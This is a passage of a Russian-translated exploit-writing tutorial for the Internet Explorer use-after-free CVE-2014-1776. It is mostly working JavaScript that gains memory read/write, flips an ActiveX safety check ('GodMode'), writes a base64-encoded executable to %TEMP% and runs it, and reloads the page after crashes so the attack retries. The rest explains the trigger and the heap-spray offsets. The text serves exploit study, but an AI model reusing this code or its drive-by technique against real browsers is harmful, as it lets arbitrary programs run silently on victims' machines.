    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;

    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);

    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      if (read(string_addr) != 0) {         // only when there is a string to overwrite
        write(string_addr, 0x003a0043);       // 'C:'
        write(string_addr + 4, 0x0000005c);   // '\'
      }
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }

    // decoder
    // [https://gist.github.com/1020396] by [https://github.com/atk]
    function atob(input) {
      var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      var str = String(input).replace(/=+$/, '');
      if (str.length % 4 == 1) {
        throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
      }
      for (
        // initialize result and counters
        var bc = 0, bs, buffer, idx = 0, output = '';
        // get next character
        buffer = str.charAt(idx++);
        // character found in table? initialize bit storage and add its ascii value;
        ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
          // and if not first of each 4 characters,
          // convert the first 8 bits to one ascii character
          bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
      ) {
        // try to find character in table (0-63, not found => -1)
        buffer = chars.indexOf(buffer);
      }
      return output;
    }

    function decode(b64Data) {
      var data = atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
//    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

Еще раз, я отрезал runcalc. Вы можете скачать полный код здесь: code8.

Этот код отлично работает, но IE может время от времени падать. Это не является серьезной проблемой, потому что когда пользователь закрывает диалоговое окно сбоя, страница перезагружается и эксплойт запускается снова.

У нового кода есть некоторые тонкости, поэтому давайте обсудим важные моменты. Начнем с триггера ():

  function trigger() {
    var head = document.getElementById("haed")
    tmp = document.createElement("CVE-2014-1776")
    document.getElementById("vml").childNodes[0].appendChild(tmp)
    tmp.appendChild(head)
    tmp = head.offsetParent
    tmp.onpropertychange = function(){
      this["removeNode"](true)
      document.createElement("CVE-2014-1776").title = ""
      
      var elem = document.createElement("div");
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198, -1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
  }

Функция getPattern принимает массив формы

[offset_1, value_1,
 offset_2, value_2,
 offset_3, value_3,
 ...]

и размер в байтах шаблона. Возвращаемый шаблон представляет собой строку заданного размера value_1, value_2,… указанных смещений.

Я надеюсь, что комментарии достаточно ясны. Например, рассмотрим следующую строку:

        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]

Это значит, что

X = magic_addr + 0x20 - 0xc

что значит, что X + 0xc указывает на b[0], где b[0] - первый элемент массива в magic_addr (0xc000000 в нашем коде).

Чтобы лучше понять это, давайте рассмотрим полную схему:

  .
  .
  .
  elem.className = getPattern([
    0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
    0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
    0x198, -1                           // bit 12 set
  ], 0x428);
  .
  .
  .
  // The object is 0x428 bytes.
  // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======
  //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
  //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
  //               [Y+1044h] is 0
  //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
  //               [W+0ah] has bit 1 set & bit 4 unset
  //               [W+44h] has bit 7 set
  //               [W+5ch] is writable
  //   [ptr+198h] has bit 12 set
 
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);

      var idx;
      b = a[i];
      b[0] = magic_addr + 0x1b - 0x878;         // Y
      idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4);         // index for Y+9b0h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4);         // index for Y+0a24h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4);        // index for Y+1044h
      b[idx] = 0; b[idx+1] = 0;
      // The following address would be negative so we add 0x10000 to translate the address
      // from the previous copy of the array to this one.
      idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
      b[idx] = 0; b[idx+1] = 0;
 
      b[1] = magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
      b[(0x24 + 0x24 - 0x20)/4] = 0;            // [U] (*)
      b[2] = magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
      b[3] = 2;                                 // [W+0ah]
      idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4);      // index for W+44h
      b[idx] = -1; b[idx+1] = -1;
    }

Рассмотрим эту часть схемы:

  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======

Как мы видели,

0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]

значит что

X = [ptr + 0A4h] = magic_addr + 0x20 - 0xc

Так что X + 0cx указывает на b[0].

Тогда имеем

b[0] = magic_addr + 0x1b - 0x878;         // Y

что означает, что

Y = [X + 0ch] = magic_addr + 0x1b - 0x878

Схема сообщает нам, что [Y + 878h] должно быть значением для приращения. В самом деле, Y + 0x878 является magic_addr + 0x1b, который указывает на старший байт длины массива в magic_addr (0xc000000 в нашем коде). Обратите внимание, что мы увеличиваем dword в magic_addr + 0x1b, что приводит к увеличению значения байта по тому же адресу.

Схема также указывает, что [Y + 208h] равен 0. Это выполняется следующими строками:

idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
b[idx] = 0; b[idx+1] = 0;

Здесь есть два важных момента:

  • Y = b [0] = magic_addr + 0x1b - 0x878, поэтому он не кратен 4. Вследствие этого Y + 208h также не кратен 4. Чтобы изменить dword [Y + 208h], нам нужно изменить dwords [Y + 206h] и [Y + 20ah], которые совпадают с элементами b[idx] и b[idx + 1]. Вот почему мы используем Math.floor.
  • Вычисленное значение b[0] + 0x208 - (magic_addr + 0x20) отрицательно. Поскольку мы выбрали Y так, что Y + 878h указывает на заголовок массива в magic_addr, Y + 9b0h и Y + 0a24h (см. схему) указывают на тот же массив, но Y + 208h указывает на предыдущий массив. Каждый массив будет иметь один и тот же контент, так как смежные массивы имеют размер 0x10000 байт, записывая значение в память по адресу Y + 208h + 10000h (то есть в текущий массив), мы также закончим запись этого значения в память по адресу Y + 208h.

Чтобы завершить наше обсуждение, обратите внимание, что триггер функции вызывается только один раз. Единственного приращения более чем достаточно, потому что нам просто нужно написать несколько байтов за пределами массива в magic_addr.

Перевод: dreamseller